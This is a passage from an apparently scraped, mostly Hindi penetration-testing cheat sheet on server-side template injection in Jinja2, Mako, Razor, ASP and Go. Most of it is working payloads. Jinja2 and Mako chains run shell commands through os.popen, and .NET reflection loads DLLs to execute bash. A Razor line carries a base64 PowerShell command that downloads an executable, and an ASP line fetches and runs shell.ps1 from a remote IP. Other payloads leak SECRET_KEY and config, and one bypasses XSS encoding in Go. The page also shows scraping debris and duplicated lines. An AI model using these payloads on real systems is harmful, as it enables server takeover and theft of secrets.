  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
python
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

अधिक जानकारी

Jinja2 (Python)

आधिकारिक वेबसाइट

Jinja2 Python के लिए एक पूर्ण विशेषताओं वाला टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन, एक वैकल्पिक एकीकृत सैंडबॉक्स निष्पादन वातावरण, व्यापक रूप से उपयोग किया जाने वाला और BSD लाइसेंस प्राप्त है।

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
python
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - टेम्पलेट प्रारूप

python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE निर्भर नहीं है __builtins__:

python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja का दुरुपयोग करने के बारे में अधिक जानकारी:

Jinja2 SSTI

अन्य पेलोड https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 में

Mako (Python)

python
<%
import os
x=os.popen('id').read()
%>
${x}

अधिक जानकारी

अन्य पायथन

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start विधि का उपयोग सर्वर पर किसी भी प्रक्रिया को शुरू करने के लिए किया जा सकता है और इस प्रकार एक वेबशेल बनाया जा सकता है। आप https://github.com/cnotin/RazorVulnerableApp में एक कमजोर वेब ऐप का उदाहरण पा सकते हैं।

अधिक जानकारी

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = कुछ नहीं
  • <%= response.write(date()) %> = <Date>
xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

अधिक जानकारी

.Net प्रतिबंधों को बायपास करना

.NET Reflection तंत्रों का उपयोग ब्लैकलिस्टिंग या असेंबली में वर्गों की अनुपस्थिति को बायपास करने के लिए किया जा सकता है। DLL को रनटाइम पर लोड किया जा सकता है, जिसमें मूलभूत वस्तुओं से विधियाँ और गुण सुलभ होते हैं।

Dll को लोड किया जा सकता है:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - फाइल सिस्टम से।
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - सीधे अनुरोध से।

पूर्ण कमांड निष्पादन:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

अधिक जानकारी

Mojolicious (Perl)

यह भले ही perl है, लेकिन यह Ruby में ERB की तरह टैग का उपयोग करता है।

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Go के टेम्पलेट इंजन में, इसके उपयोग की पुष्टि विशिष्ट पेलोड के साथ की जा सकती है:

  • {{ . }}: डेटा संरचना इनपुट को प्रकट करता है। उदाहरण के लिए, यदि एक ऑब्जेक्ट जिसमें Password विशेषता है, पास किया जाता है, तो {{ .Password }} इसे उजागर कर सकता है।
  • {{printf "%s" "ssti" }}: "ssti" स्ट्रिंग प्रदर्शित करने की अपेक्षा की जाती है।
  • {{html "ssti"}}, {{js "ssti"}}: ये पेलोड "ssti" को "html" या "js" जोड़े बिना लौटाना चाहिए। आगे के निर्देशों को Go दस्तावेज़ में यहां खोजा जा सकता है।

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

text/template पैकेज के साथ, XSS को सीधे पेलोड डालकर सरलता से किया जा सकता है। इसके विपरीत, html/template पैकेज प्रतिक्रिया को एन्कोड करता है ताकि इसे रोका जा सके (जैसे, {{"<script>alert(1)</script>"}} का परिणाम &lt;script&gt;alert(1)&lt;/script&gt; होता है)। फिर भी, Go में टेम्पलेट परिभाषा और आह्वान इस एन्कोडिंग को बायपास कर सकते हैं: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

RCE Exploitation

RCE शोषण html/template और text/template के बीच काफी भिन्न होता है। text/template मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो html/template में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ यहां html/template के लिए और यहां text/template के लिए उपलब्ध है।

Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को बुलाया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक System विधि है जो कमांड चलाता है, तो इसे इस तरह से शोषित किया जा सकता है {{ .System "ls" }}। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:

go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

अधिक जानकारी

अधिक शोषण

अधिक शोषणों के लिए https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection की जांच करें। आप https://github.com/DiogoMRSilva/websitesVulnerableToSSTI में दिलचस्प टैग जानकारी भी पा सकते हैं।

BlackHat PDF

संबंधित सहायता

यदि आपको लगता है कि यह उपयोगी हो सकता है, तो पढ़ें:

उपकरण

ब्रूट-फोर्स डिटेक्शन सूची

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

अभ्यास और संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें